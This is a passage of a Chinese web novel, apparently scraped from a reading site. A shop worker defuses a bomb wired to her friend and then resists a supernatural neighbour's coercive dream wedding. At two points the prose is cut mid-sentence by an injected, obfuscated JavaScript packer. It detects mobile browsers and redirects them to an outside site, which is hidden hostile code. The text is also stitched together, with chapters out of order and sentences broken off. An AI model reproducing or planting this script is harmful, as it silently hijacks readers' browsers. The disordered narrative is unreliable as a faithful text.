王晓研说:“00398号是以活人为导体的移动式计时炸弹。如果被连接的人体试图挣脱或者心跳骤停,炸弹就会立即加速倒计时,提前引爆。” “你们这个炸弹是削弱过的。如果是白老师,他还会增加三倍炸药,把载体压得直不起腰,这样就可以将线路连接到脊骨上,像一个刺猬老妪……” 王晓研忍不住犯呕一下,“不好意思,我想起了一些恶心的东西。” “薛姐姐,接下来你要听我指挥。首先,炸弹的右上角,有一根从侧面走出的蓝色电线,用绝缘镊子顺45度角轻轻顺出来……” 薛晓紧张得满头大汗,但还是按照王晓研的指示,稳稳地拿起绝缘镊子,精准地拔出电线。 店长在一旁为薛晓擦汗,不断鼓励着:“薛晓,你能行的。” “炸弹底部有个圆形的盖子,留一个螺丝,旋转打开,里面有个微型的芯片……” 薛晓每一个动作都小心翼翼。芯片拔出瞬间,炸弹的倒计时突然快速跳动: 8:48、8:45、8:42…… 王晓研大声喊道:“继续,继续!最后一步!右手下,穿过了手掌和手腕的静脉血管,有5根270微米的金属纤丝。你们那里有麻药吗,为了防脱落,纤丝有倒刺……” 薛晓缓缓地跪下身,钻到炸药的下方,在看到画面的瞬间,她的瞳孔微缩。 珊珊的手苍白而扭曲,周围的皮肉已经失去了正常的肌理,鲜血放缓了流速,干涸在手臂上。 薛晓的心仿佛被这只手无情地托举着,衡量着她内心的痛苦与煎熬。 她可以毫不犹豫地拆卸一个复杂的机械,她可以对冷冻五百年的五花肉大刀阔斧,可让她在真实的人类身上实验,她做不到心如止水。 那是温热的血肉,是会因疼痛而颤抖、因恐惧而瑟缩。薛晓每一个细微的动作都可能带来无法承受的后果。 她做不到。她会害死所有人。请到此为止吧。薛晓想。 “止痛药是违禁品!我们没有药,怎么办!现在去医院已经来不及了!”店长焦急地来回踱步。 薛晓看向店长姐姐。店长身高一米五,但是手臂很有力量。薛晓和珊珊需要两个人合力搬的东西,店长只要一只手就可以做到。珊珊有时会和她讲,店长年轻时英勇的事迹。 顾得身前事,就顾不得身后。店长姐姐的家人,都走得很仓促。 店长眼睛突然一亮,说:“黑窗!老磨坊旁边是不是新开了一家黑窗。我从楼顶上过去,三分钟足够了!” “老磨坊?”王晓研的脸突然放大,她在手机上点了几下,“那扇窗我知道,我现在过去接应你。” 店长毫不犹豫地从柜台下面掏出一把□□半自动步枪,掏出一盒5.56×45毫米NATO标准步枪弹,一股脑塞进腰包里。她对转身薛晓她们笑了一下,“等我!”随后一头扎进尘土里。 显示屏上的时间仍在无情地跳动着,每一次数字的变换表示着她们离死亡的命运更近了一步。“嘭——”一声巨大的枪响从薛晓的手机中传出,薛晓吓得一屁股坐在地上,手机也甩落在地上。 视频被挂断了。店长和王晓研很可能遭遇了不测。 薛晓忽然想起自己看到的“梦”。第一次珊珊崩溃,第二次店长逃离,第三次凛…怪怪的。这一次,会不会是轮到她了呢? 薛晓怔怔地看着自己双手,早已沾满了血污和尘土。她用力张开手掌,中间的细纹里干干净净。 如果,她是说如果,能再重来一次,她是否还能鼓起勇气,保护她所珍惜的人们呢。 5:32、5:28、5:23…… 不能等了。薛晓强迫自己镇定下来,夹钳触碰到一根金属纤丝。珊珊发出一声痛苦的呻吟,薛晓瞬间缩回了手。 “我……给我一块巧克力吧。”珊珊认命一般痛苦地闭上了眼睛。 “好。” 2:02、1:57、1:51…… 梦里的事交给梦做,薛晓拥有的只有手中的夹钳。她调整呼吸,保持自己手部的平稳。一根,两根,她像一个固定程序的机械臂,目标只有眼前的机床。 最后一分钟,三根,四根,终于,五根金属纤丝完□□露出来,薛晓的目光都紧张地看向了倒计时,上面呈现的数字是88:88。 “薛晓!”“薛姐姐!”店长和王晓研满身血污的冲了进来。她们一进门,就看见了那块显示屏。 每一个人都屏住了呼吸,等待着命运的最终宣判。 然而,一分钟过去了,炸弹没有爆炸! 一瞬间,巨大的喜悦涌上每个人的心头。她们的眼睛里都闪烁着激动的泪花,身体因为极度的紧张而发抖。店长兴奋地抱住薛晓,狠狠在她的额头上亲了一下。 “太好了!我们都在!” 外面的烟尘散去了,原本被阴霾笼罩的街道逐渐显露出真实的模样。 这次动荡达到了空前规模。幸存居民纷纷从藏身之处走出,他们的眼神中虽然还带着惊惶,但更多的是坚定走下去的勇气。 店长和王晓研身上都有或深或浅的伤口。幸好,她们拿回了止痛药和消炎药,还有很多清创的药剂。简单处理后就没有大碍。 “晓,我觉得凛先生喜欢的应该是你。”珊珊歪着脑袋,有气无力地说。 “谢谢你的认可。”薛晓手上的动作未停,迅速地帮珊珊移走炸弹,包扎她的手臂,“保存点力气,我们这就送你去医院。” “……他每次会在街对面观察很久……你上班,他才来……他付款时看玻璃,因为你在货架后面理货……晓…晓,小心…他看你的眼神…不是喜欢……爱……他…是……恨……” 珊珊体力耗空,她嘟囔的话,薛晓一句都没听清。 6. 第 6 章 珊珊手部软组织受损严重,需要住院观察。薛晓和店长,还有两个夜班的阿姨,凑了10万卡币,勉强交上了她的医疗费。 “10万!天呐,龙姐,我要给你打一辈子工了。”珊珊望着那缴费单,忍不住哀叹道。 店长把单子一把抢回来,迅速塞进柜子最底下,说:“不用你还,这是我应该做的。医生说只要你好好修养,有希望能恢复到从前的……” 店长把薛晓送回家,分别时,她转给薛晓一千卡币。 “这是我答应你的五倍工资,凑个整,你收下吧。现在店里的情况……这段时间,你也好好休息。我不希望再有意外发生。” 薛晓抬头望向天空,天已经黑了。乌云依旧压的很低,不知道哪里的探照灯直直打在云层上,呈现一种混沌的灰白色。 从医院回来,薛晓身心俱疲,像是经历了一场漫长而潮湿的噩梦。此刻的她,什么都不想思考,什么都不想面对,她只想立刻躺进温暖的被窝里,好好睡一觉。 孟德公寓依然没有恢复供电。楼道里一片漆黑,静的让人心里发慌。 薛晓一进门,感觉像是进入了一个大冰箱里。她下意识以为是零回来了,紧张地四处寻望。然而,除了冰冷的墙壁和阴湿的家具,连个鬼影都没有。 薛晓躺在被窝里,闭上眼睛强迫自己入睡。迷迷糊糊中,她看见自己置身于一个荒芜的冰原,四周是一望无际的苍白与寂静,没有生命,没有温暖,只有注入灵魂的孤独。 忽然,一阵浓郁而香甜的烤肉味钻进薛晓的小窝里。肉类的焦香混合着调料的芬芳,丝丝缕缕,连绵不绝,不断地刺激着薛晓的神经。 她的肚子忍不住咕噜噜地叫了起来。 做饭就做饭,有必要做的这么香吗! 最终,薛晓还是没能抵住诱惑,敲响了307的门。 凛在暖炉旁支了一张小桌子,桌子上摆着一个生命树造型的蜡烛架。香薰的味道很淡,被烤肉味盖住了。 “喜欢重口一点,还是清淡一点。”凛一只手翻转着烤架上的肉串,有条不紊的撒上调料。 他外面套着一只格子布围裙,还残留着染料的颜色,里面是一件洁白的衬衣。透过暖炉跃动的炉火,可以看到布料下微微起伏的肌肉。 “变态辣,谢谢。”薛晓吞了吞口水。 凛笑着,手上的动作不停。不一会儿,烤得滋滋冒油、裹满辣椒粉的肉串就递到了薛晓面前。 薛晓犹豫要不要矜持一下。她镇定地接过,轻轻咬了一小口,装作若无其事的样子,说:“嗯,还行。” 然而那激动到颤抖的手和直勾勾放光的眼神,已经出卖了她。 “慢点吃,小心烫。”凛看着她,眼底满是笑意。 凛家的沙发很软。薛晓躺在上面,像是被一只温柔的大手轻轻拥抱着,所有的疲惫和压力都在这一刻烟消云散。面料细腻光滑,轻轻摩挲着她的肌肤,她舒服得忍不住轻哼出声。 “今天上班顺利吗。你老板有为难你吗。”凛的声音温和轻柔。 “还算顺利。”薛晓脸上勉强挤出一个微笑,试图让自己看起来不那么糟糕。 凛却皱起眉头,“顺利为什么不开心。” 薛晓轻轻叹了口气,“有点累。” 凛微微颔首,起身给薛晓倒了一杯温水,递到她面前。 薛晓接过水杯,抿了一小口,感受着那一股温暖的热量顺着喉咙流淌下去,心里也多了一丝暖意。 凛没再追问,只是安静地陪坐在一旁。炉火的波纹映在两人身上,像一张毛绒绒的毯子。房间里温馨而又宁静,渐渐地,薛晓的眼皮越来越沉重。 意识朦胧中,她看见凛朝着她慢慢走来。他修长的身影在摇摆的光线下显得有些虚幻。凛缓缓低下身,慢慢地凑近她的脸—— 薛晓猛地一惊,一下子坐起身来。 “不好意思,我睡着了。”薛晓脸上泛起一抹不自然的红晕。她的身上不知道什么时候多了一张小薄毯,带着清冽的木质香,温柔地将她整个包裹。 凛正在暖炉旁作画。他手中的画笔在纸上轻盈地游走,神情专注而投入。薛晓刚刚看到的一切,仿佛都只是她的错觉。 “你的画应该挺值钱的吧。”薛晓尴尬地找话题聊。 凛用的是前世纪最普遍的油彩绘画。他好像在画炉火,隐隐约约有一些奇怪的线条。薛晓看不懂。艺术家说这是什么,那就是什么。 凛侧身对着她,长发随意扎起,露出他白皙的脖颈和清晰的下颌线。他高挺的鼻梁在侧脸上投下迷人的阴影,微勾的鼻尖带着几分俏皮。在感受到薛晓的视线之后,他的薄唇微微上扬。 “随手一画罢了。艺术品的价值从来不在艺术本身,而在于观赏者的内心。” “他们愿意为了我的艺术付费,我不会阻拦。因为这是他们表达信仰的一种方式。” 一百个艺术家里有一万个疯狂的灵魂。一百个灵魂里有一万句伟大的史诗。 薛晓看着他,“你可以送我一副吗。” 凛转过头来,眼底带着一抹难以掩饰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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催婚催生,催房催车。回一趟家,她的耳朵就要起一层茧子。从没见过的堂哥又买了一辆车,八竿子打不着的表妹又买了一套房。还有那神秘莫测的刘姑妈,鼓励儿媳参与公司实验,通过培养技术生了一个宝贝大孙子! 简直是恐怖。 正当薛晓无聊到抠脚趾时,手机收到了店长发来的信息。 珊珊今天突然高烧不醒,可能要截肢。 薛晓火急火燎赶去医院,不惜花高价抢了一辆出租车。 薛晓猛地推开门,看到店长正一脸愁容地守在珊珊的病床边。 7. 第 7 章 和凛的相遇,就像是一场梦。 17:34、17:33、17:32…… 炸弹倒计时仍在继续。她能做些什么。 薛晓深吸一口气,猛地打开门,冲出便利店—— 薛晓跑进烟尘里,扬起的尘土落在她的肩头,世界仿佛被一层朦胧的纱幕所笼罩,让她有些分不清方向。 薛晓顾不得那么多了,她拼命地向前奔跑着,希望能看到一个人,随便一个人都可以,一个老妪,一个孩童,一条狗,只要是个活物就行。可是,什么都没有。 她越跑越远,周围的事物渐渐淡去,人造的建筑痕迹变得稀少起来,脚下的土地逐渐变得松软,慢慢多出一些参差不齐的草地。 见鬼了,自多年前那一场核爆之后,薛晓再也没有在现实世界见过活的绿色的植物。她对这种生物的了解只限于网上那些对博物馆门票的营销广告。 草叶纤细柔嫩,鲜活的绿色在她脚下蔓延,薛晓感到既陌生又恐惧。她仿佛打破了一层神秘的隔阂,穿越到了一个未知的领域中。 薛晓不敢停下,她只能继续向前走着。渐渐地,一座由纯白鲜花编织而成的巨大花拱门露出一角。拱门两侧,整齐地排列着数排白色的空椅子,椅背上系着亮黑色的绸带,无风自动。 长长的深灰色地毯从薛晓脚下一直延伸至花拱门。凛站在那里。 他身着一套剪裁得体的黑色西装,经典的平驳领设计,线条优美流畅,身姿英俊挺拔。漫天烟尘、世间喧嚣都与之无关,他像一位从古老童话中走出的王子,正在深情地看向自己的公主。 “晓,你来了。”凛轻轻地牵起薛晓的手,带她走上花台。 凛温柔地说:“在这漫长的时光里,我曾无数次幻想与你站在这里。晓,我愿以我永恒的生命起誓,我将永远陪伴你、守护你,与你携手走过每一个普朗克时间,与你共同见证宇宙的涨落。无论是熵增终止还是暗能量爆发,我绝不会离开你的身旁。” “我将为你而跳动,为你而永恒。” 凛深情看着薛晓,像是飞鸟找到了归属。他诚恳地发问:“晓,你愿意和我永远在一起吗。” 薛晓傻眼了。 但脑子还算清醒。 “我不愿意。”她说。 “我要去救我的朋友。”这是她给出的理由。 “好。”凛眼睫微颤,给薛晓让出离开的路。 “我们还可以是朋友,对吗。”他依依不舍道。 “嗯嗯。”薛晓满口答应,转身就走,像是下了某种决心。 赶、紧、跑! 这灰不拉几的氛围感,要是没问题,她薛晓倒立刮彩票中奖三十万! 她脚下不断地加速,来时路漫长而曲折。薛晓不敢回头,她害怕自己被冥王的石榴籽拖走。 而凛一直站在原地,望着薛晓离去的背影。他张了张嘴,似乎还想说些什么,可最终还是化作了一声轻轻的叹息。 “晓。” 突然,薛晓脚下被什么东西绊住,她一个踉跄,差点摔倒在地。 她低头看去,是几缕打了死结的草枝。那捆绑的手法显然是人为。 薛晓心下一惊,强忍着心中的不安继续往前走。可没走几步,她又被草枝绊了一脚。她不敢回头,只能用余光打量两边。 薛晓看到一个熟悉的身影。珊珊正伏在她不远处的草地里,两只手深深地插进草丛里,像是在做着什么动作。 “你为什么要离开。”珊珊歪着头,一动不动看着薛晓。她的脸色苍白如纸,双眼空洞无神,嘴角那夸张的弧度让她的面容显得极为扭曲,僵硬。 薛晓惊恐地连连后退,脚下却突然踩到一个软绵绵的东西,低头一看,竟是一只腐烂的手! 珊珊站起,空荡的袖管无力地飘荡着,腐肉的残渣随着她的动作簌簌掉落,她灰白的礼服瞬间被污血染黑。 珊珊:“把我的手,还给我——!” “我没有啊——”薛晓拔腿就跑,她的脚落在哪里,哪里就生出草结,跑一步绊一步,跑一步摔一跌。她慌不择路,猛地一个踉跄撞上一个人,还未等薛晓反应过来,一双有力的臂膀就紧紧地将她抱住了。 “晓,别怕。”薛晓一抬头,是店长姐姐。 店长微微皱眉,目光越过薛晓的头看向远处状若癫狂的珊珊,“晓,我会永远保护你,任何人都不能伤害你。” 只见店长姐姐神色从容,轻轻抬起右手,优雅地将食指和拇指相触,随意地一个弹指。瞬间,一道蔚蓝色的光芒从她的指尖迸发而出,直直地射向珊珊。 “啊——”珊珊的身体就如同烈日下的冰雪一般,开始迅速融化。不到片刻,她的整个身体都化为了一滩灰白交融的污水,融入了脚下的土地,只留下一件纯净无暇的礼服在原地。 薛晓瞪大了眼睛,“不!不是这样的!” 店长怜惜地伸手捂住薛晓的眼睛,不想让她目睹这残忍的一幕,却被她一把推开。 “不是这样的!”薛晓高高抬头。“店长姐姐”嘴角带着温柔的笑意,此时此刻却显得无比诡异。那笑容中没有了往日的怜爱与真挚,反而透着一股不可抵抗的攻击性。 “晓,跟我回家。”“店长”说。 在不可抗力面前,薛晓是那么弱小且无助。她索性放弃挣扎,抱着“店长”的八块腹肌,脑袋轻轻依偎在“她”结实的胸膛。 “回我家吗?”薛晓说。 “可以。” 突然,薛晓从“店长”腰间摸出一把手枪,单手迅速打开保险,“砰!”的一声,对着“店长”的下腹狠狠来了一枪。 如同灰烬一般的雪花瞬间在空气中绽放,薛晓瞬间与他拉开距离,将枪口对准了凛。 “别过来!”薛晓喊。 凛看向自己的伤口,似乎在期待那碗口大的创口能流出些什么东西。然而,什么也没有。 他的伤口以肉眼可见的速度愈合,随着“啵”细微的一声,子弹被“吐”了出来。凛的皮肉完全愈合,就连西装的纹路也恢复如初。 “砰!”“砰!”“砰!”薛晓连发三枪,精准打在凛的身上。 凛没有丝毫反应。哪怕呼啸的子弹贯穿眉心,也只是让他的眉头皱得没有那么明显而已。 薛晓手里拿着□□42小型半自动手枪,外形小巧紧凑,可装载6枚380ACP口径的弹药。可是,手心传来的重量却告诉她,里面只剩一发子弹了。 就凭这一发子弹,她对凛造不成任何威胁。薛晓明白,最后一发子弹,她能伤害的人,只有她自己。在这残酷的现实面前,她是如此的渺小且无力。 她不希望这样—— 烟尘,长毯,花束,椅子。 凛诚恳地发问:“晓,你愿意和我永远在一起吗。” 一切就像刚刚发生的一样,薛晓瞬间明白自己的处境。 她又回档了。 薛晓苦笑。 如果一切都可以重来,那她手中为什么会攥着一把□□42呢? 既然游戏是这样玩的,她就不客气了!薛晓果断举起手中的枪,对准自己的太阳穴。 “答应他!!!” 突然,她的身后爆发了激烈的掌声,原本空荡荡的观众席不知什么时候坐满了人。有爸爸和妈妈,有店长和珊珊,有收破烂的小伙和扫垃圾的大爷,整条格鲁街的人都来了。他们每一个人都穿着灰白色的礼服,面带灿烂的笑容,双手像是安装了本钟的摆锤,不停地拍打着。 “答应他!”“答应他!”“答应他——!” 凛含蓄地笑着,对薛晓说:“他们在祝福我们。” 薛晓怔怔看着台下的人。珊珊的手还在,店长没有踩高跷,一切都如此正常而美好。她的目光扫过台下那一张张充满期待和喜悦的脸庞,心中却涌起一种莫名的不适感。 她好久没见到妈妈了,妈妈脸上的皱纹更深了一些。 去年这时候妈妈跟刘姑妈吵架吵输了,急火攻心,打了一个星期的吊瓶。后来,据说是使用高科技新型情绪放大技术,才完全恢复。 简单来说,就是背地里说人家坏话,表情抽搐,语言激烈,加上扭曲的肢体动作,把负面能量都发泄出去。 薛晓又哭又笑,说,妈妈你是被人骗了。 妈妈说,没要钱,只是在房顶安装了几根弯弯绕绕的铁丝,下雨天还会发光呢。 薛晓笑不出来了,纯哭。 她已经和妈妈认识二十多年了。妈妈一抬手,薛晓就知道是哪颗牙塞缝牙了。 台下的妈妈,穿着一件淡灰色的旗袍,上面绣着几朵暗黑色的梅花。这件衣服,是妈妈嫌弃百倍,但每次逛街都会超不经意经过那家店,装作被老公背叛女儿拖累的冷漠主妇,最后砍到三折负手离开。 不花一分钱,只是一味的奔赴战场。 此刻,妈妈的眼里饱含着热泪,仿佛是真心为薛晓感到高兴。 可是妈妈,你真的会为我高兴吗。 似水流年的历史聊天记录: 【如果外面烟花四起,邻里街坊饭香四溢,大街上情侣相互依偎,生病难受时无人问津,你都可以忍住不哭。那么你就可以不结婚。——鲁讯】 【从此,万家灯火没有一盏是为你而留。——余化】 【妈,你少刷短视频。闲着没事给咱家买点蜡烛。】 【专家说了,年轻人应该积极响应联邦的号召,只要能怀上,都要生八胎,为生物公司建设做出贡献。】 【妈,打假博主说了,那些讲座发的洗衣粉都有轻微腐蚀性,你千万别用。】 【真的?】 【独居女性100个生活小技巧——你真的干净吗?万字解析洗衣粉的秘密。视频号/@六星街里还传来的视频】 4个小时后…… 【哦。我多加水。】 “妈妈……”薛晓的声音很轻,被无息的风吹散在了烟尘中。 妈,如果我结婚了,你会高兴吗? 当然。如果我女婿是个公司职工,有合同、有保险、有福利,可以落户口、带家属,还能分养老房。我会很高兴。 妈妈呀。 台下,灰白配色的“妈妈”猛地跳起来,振臂高呼,“孩子!妈妈见证了你一路的成长,妈妈深知你的坚强与善良,妈妈永远为你骄傲!快到你的新郎身边,迎接美好的新生活吧!妈妈支持你的任何选择!” 薛晓抽了抽嘴角,尴尬地扶额苦笑,“妈……有点刻意了哈。” 她“妈妈”的嘴里竟然还能说出这么恐怖的话,果然平时还是太温柔了。 “店长”和“珊珊”身穿伴娘服,一左一右走上台,把薛晓夹在中间。 “店长”眼中满是欣慰与祝福:“看到你如此幸福,我真的很开心。” “珊珊”满是感激地说道:“谢谢你带他来救了我。” “珊珊”给薛晓展示她纯净无暇的双手,说:“那一天,如果不是你和他及时赶到,我们或许都要葬身火海。我真羡慕你能找到这么真挚的爱情。你一定要好好珍惜,千万不要让我失望。” “我和他?”薛晓诧异道。虽然她原计划就是这样,找到凛,带他去救珊珊和店长。可是她还什么都没有做啊。 她从便利店跑出来,就被困在了这里。她刚刚还见到珊珊向她索要手臂。一切就像是一场梦,无序又混乱。 平行时空。薛晓想。如果说现在的她与完好的“珊珊”属于不同的时间线,那使两条时间重叠的关键,就在这里吗? 拯救大家的代价,只需要她的一个承诺吗? “妈妈”也走上台,拉起薛晓的手,交给凛,说:“妈妈知道,你自己在外面一个人不容易。你从小就很坚强,宁愿自己忍着饿也不跟妈妈说。你刘姑妈发给我视频的时候,我又害怕又难过,担心我的宝贝在外面受了委屈。乖乖,你不必如此坚强。妈妈很庆幸,你找到了一个完美的归属。从此,我就放心把你交给他,他会给你幸福……” “珊珊”端来了戒指。戒面之上,镶嵌着一颗硕大的蓝宝石,折射出璀璨的光芒,仿佛将整个宇宙的光辉都吸纳其中。而与之相衬的男戒,同样惊艳、神秘而内敛。 “晓,帮我戴上。”凛轻声说道。 “好。”薛晓在所有人的注视下,缓缓抬起手,拿起那枚象征着永恒承诺的戒指,慢慢地套进凛的手指。 就在戒指完全戴上的那一刻,凛反手握住薛晓的手。那颗承载着宇宙的蓝钻石,竟然无声无息出现在了薛晓的手指上! “晓,你愿意和我永远在一起吗。”凛问。 事已至此,先…… 在人生的重大抉择,薛晓总是稀里糊涂。有时她会交给天意。抛硬币,扔骰子,几块红砖,几朵花瓣……但她现在手头上什么都没有。 除了一个漂亮的戒指,一把小巧的枪,和弹夹里最后一颗子弹。 姐姐。 薛晓好像听到一个声音。她抬起头,在人群的最后方,看到了王晓研。 王晓研静静地站在那里,周围的欢呼都与她无关。她的眼睛很亮很亮,犹如黑暗海面上指引方向的灯塔,在一片灰白的人群中格外引人注目。 凛是个很棒的人,我相信他会给你一生的呵护和爱。愿你的未来只有泪水,没有欢笑;只有寒冷,没有温暖;只有满满的遗憾,没有丝毫的爱意。祝你和凛永结同心,相伴到永远—— 等等等一下!你说什么? 薛晓想问问她是什么意思,可王晓研的眼睛越来越暗,整个人被一层浓厚的尘霾所吞噬,消失了。 她……是什么意思。 薛晓的目光被手上的大钻石吸引,她呆呆看着,感觉这一切都极度的不真实。 她连这个男人是什么东西都不知道,就被带上了钻戒。还是一颗超级大钻戒。 “不,不是这样的。”薛晓慌乱地想要摘下钻戒,可那钻戒却像是在她的手指上生了根,任凭她如何用力,都无法将其摘下。 “凛,抱歉,我不愿意。”薛晓说。 凛的脸色慢慢冷了下来,他睁开笑眯眯的眼睛,露出了蔚蓝色的瞳孔。 “为什么道歉。”凛说。 他自问自答:“你有愧于我,所以要道歉。为什么有愧,因为你违背了自己的内心。晓,你不讨厌我。” “……”薛晓没想到凛的逻辑感这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809731|157571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么强,说得她都要信了。 “晓,来到我的身边吧。”凛张开双臂。 薛晓心中升起一股莫名的寒意。一旁的“珊珊”突然扑了过来,直直地朝着她手上的钻戒伸去。 “哈哈!她不要!那就是我的啦!”“珊珊”的声音尖锐细长。 薛晓伸手想要格挡,却发现“珊珊”的手指竟然变成了锯齿状!她的牙齿也发生了可怕的变化,一颗颗呈螺旋状扭曲。 周围人都发生了不同程度的异变!她的“妈妈”的头颅拧成180度,四肢伏在地上,原本慈祥的面容变得狰狞恐怖,双眼布满血丝,恶狠狠地盯着她。“店长”的身体不断膨胀,皮肤变得粗糙如树皮,身上长出了尖锐的骨刺。 “还给我——”“赡养我——”“补偿我——” 她们不断地向薛晓逼近。只有凛的身边是安全的。 不,不是这样的。 一切都是一场噩梦,只要梦醒了就好了! 薛晓将枪口抬起,对准了自己的太阳穴。 咔。子弹上膛。 这里没有人能阻止她做任何选择!包括凛在内。 她突然枪口一转,向下,对准了那颗璀璨夺目的钻戒—— “砰——”世界安静了。子弹贯穿了薛晓的左手无名指,连同那颗钻戒一起崩掉了。 疼痛并没有传来,只有酥酥痒痒的麻意。薛晓呆呆地看着红白色的骨头从伤口处缓缓地露出来,她的思绪飘到了很远很远的地方,回想起年少的时光,那些充满希望和梦想的日子,心中却隐隐得到了一丝解脱。 盛大的婚礼此刻只有两个人,观众席的椅子歪七八扭,那里似乎有人存在过。空气里带着鲜血的甜腥味,风悄然吹过,拨开了厚厚的幕帘。 一道强烈的光芒从天空中射下,将他们笼罩其中。 薛晓深呼出一口气,转身面向凛。 “我的妈妈从不是围绕孩子失去自我的家庭主妇,而是坚强、智慧的女性,她会用最糟糕的话语来关心我,也会给我最温暖别扭的怀抱。” “我的朋友从不是衬托任何人的附属品,而是独立、自主的个体,勇敢地追求着自己的梦想和目标。” “我的爱人也会是一个很好的人,他会尊重我的一切选择,会与我坦诚相见,会用真实的行动给予我永恒的承诺。” “凛,对不起,我不明白你这样做的意义是什么。如果你有什么苦衷,你可以告诉我,我会帮助你。但请你,以尊重我为前提向我提出请求。好吗?” 凛看着她,“抱歉,我会努力让你满意。” 薛晓:“我不是让你努力的意思,我是想说你……能放我回去吗?我还穿着便利店的工作服。” 薛晓后退半步,展示她身上的橙色格子围裙,上面沾染了她新鲜的血迹。 薛晓:“梦再真实也是假的,假的永远不会变成真的。凛,回到现实世界吧,和我一起去拯救我的朋友。” “即便是假的吗。”凛反问道。 薛晓气笑了。那是她亲身体会过的美好,怎么会是假的。是非对错,她会用真心去感受,用辩驳来思考,用行动去实践。 世界本就是一场荒诞无垠的梦,有大大的草地,白白的花朵,灰灰的天空,房子树木园丁,还有筹办婚礼的新郎。身在梦中的我们唯一要做的就是,在走出泥泞的草地后,找到一个水泥台阶蹭掉鞋底的黏土。 脚脖粘泥,真的很沉。 “对不起,你的邀请,我不能答应。”薛晓平静地说。 “我明白了。”凛俯下身体,一点点地靠近薛晓。或许他想要的从来都不是一个承诺,而是一个简单的、真诚的、一触即离的吻别。 薛晓看着他,没有躲避。 “抱歉。” 就在最后一厘的距离,他停下了。 “我做不到。” 凛的声音近乎缥缈,薛晓眼前的场景瞬间消退,灰白交替,时空迅速拉近,她一转身,便利店门牌闪烁着微弱的彩色灯光,就安静地停在她的身后,好像她从未离开过一样。 薛晓深吸一口气,左手放在便利店的门把手上,是完好无暇的五根手指。 她猛地打开门,“珊珊!请你相信我!” —— “我对薛晓说了很糟糕的话……”病房里,珊珊头抵着膝盖,将自己缩成一团。 “发生什么事情了。”店长轻轻拍打着珊珊的后背。 店长昨夜宿醉,后半夜迷迷糊糊被警察叫去做笔录,刚出了警局又接到医院的电话。她的头现在还隐隐作痛。 “那个常来店里的凛先生,他送我一幅画。”珊珊示意枕边的手机,让店长看相册。 照片是同房的瘸腿病友拍的,珊珊的腿上放着一幅画,黑乎乎白灿灿的。 店长强撑着精神仔细辨认,说:“这幅画,就是三百万吗。” “对。”珊珊说,“钱已经到账了。但我心里总觉得有点不舒服。” 珊珊:“画中女孩,不是我。可我却从画中感受到了窒息。龙姐,我的直觉从来不会错,这个被光选中的女孩,是薛晓。” 店长:“没有画五官,你怎么看出来的。你们两个白班经常在一起,他或许只是对你们表达感谢。” 珊珊用力摇头,严肃地解释:“电视剧讲过,通过绘画笔触可以看出一个人有没有犯罪潜质,情绪波动最强的笔触可能就是犯罪时间。” 店长沉默片刻,才缓缓说:“……真厉害。好好休息吧。” 珊珊没有停下来的意思,“薛晓跟我说,凛是她新搬来的邻居。我怀疑他是故意接近薛晓……” “可能是巧合吧。”店长无奈地说。她给手机充上电,昨晚喝醉跟几个混混打了一架,手机屏碎了一个角,还好主板没有坏。 店长挨个查看手机消息。 “珊珊,你什么时候给我发了一个视频。”她打开聊天界面。 “我没有啊。”珊珊说。 视频里,薛晓正在偷偷地将货架子上的压缩饼干往自己的兜里塞。这个拍摄视角,是收银台的位置,那是珊珊常在的地方。 店长把视频给珊珊看。 “这确实是我拍的……但我没发给龙姐你啊!”珊珊满脸惊慌,“难道是我误触了吗!龙姐你相信我,我不故意针对薛晓……也不是故意包庇……” 来不及生气了,店长发现自己和薛晓的聊天界面也多出了一些奇怪的话。 A白班薛晓的聊天界面: 平安守护者:【视频9.0G】 平安守护者:【薛晓,你如果生活困难的话,可以跟我说,但是请你不要做这种不道德的事情。】 平安守护者:【医院这边,你不用再来了。】 A白班薛晓:【对不起。】 A白班薛晓:【转账10,000.00,请收款】 A白班薛晓:【辞职信.pdf】 “我没发过这些消息啊!”店长大声喊道。 她手脚忙乱地拨通薛晓的电话。几块压缩饼干而已,又不是养不起,她虽然有点生气,但是真不至于啊! “对不起,您所拨打的电话不在服务区……” 8. 第 8 章 薛晓发完辞职信就锁了屏。 出了这档子糗事,她没脸再去见店长和珊珊了。 那笔钱是薛晓省吃俭用攒下的积蓄,外加小小的贷了一笔。除去贷款,她现在所有的卡加起来余额还剩16.03。 今晚她就要饿死了。 薛晓躺在一张柔软的大床上,被褥散发着淡淡的木质香,温柔地将她包裹。 她头还有点痛,像是吹了冷风,三叉神经一阵一阵地抽疼。 昨晚,薛晓和店长一起喝酒,之后的事情她就记不清了,醒来就在这张床上。 熟悉的房间,熟悉的画架。这里是凛的家,凛的卧室,凛的床,凛的被窝…… “醒酒汤。”凛走了进来。汤碗袅袅升起的热气带着一股浓郁的香气,薛晓不禁舔了舔干涸的嘴唇。 凛轻轻吹吹汤面,说:“喝了会舒服点。” 薛晓撑起身子,接过碗,轻轻抿了一小口。 汤汁微烫,顺着喉咙滑下时,带来一种微弱的灼烧和充盈感。紧接着,浓郁而酸甜的味道在口腔中弥漫开来。 “谢谢你。”薛晓低下头慢慢喝,怕自己露出“太好喝了好想白嫖”的无耻表情让凛笑话。 凛坐在床边,眉眼低顺。薛晓额前的一缕头发垂下来,他轻轻抬手,指间浮动,帮她将那缕头发别到耳后。 薛晓:“昨晚……” “中午有空吗?”凛问。 凛拿出一张金色的卡片,说:“工作室的朋友办画展,他送我一张双人票,可以有幸邀请你陪我一起吗?” “场地楼下有一家评分不错的甜品店,凭票可免费领取主题蛋糕。” 薛晓两眼放光。 兴许是压缩饼干吃多了,她对这种程度的细糠完全没有抵抗力。 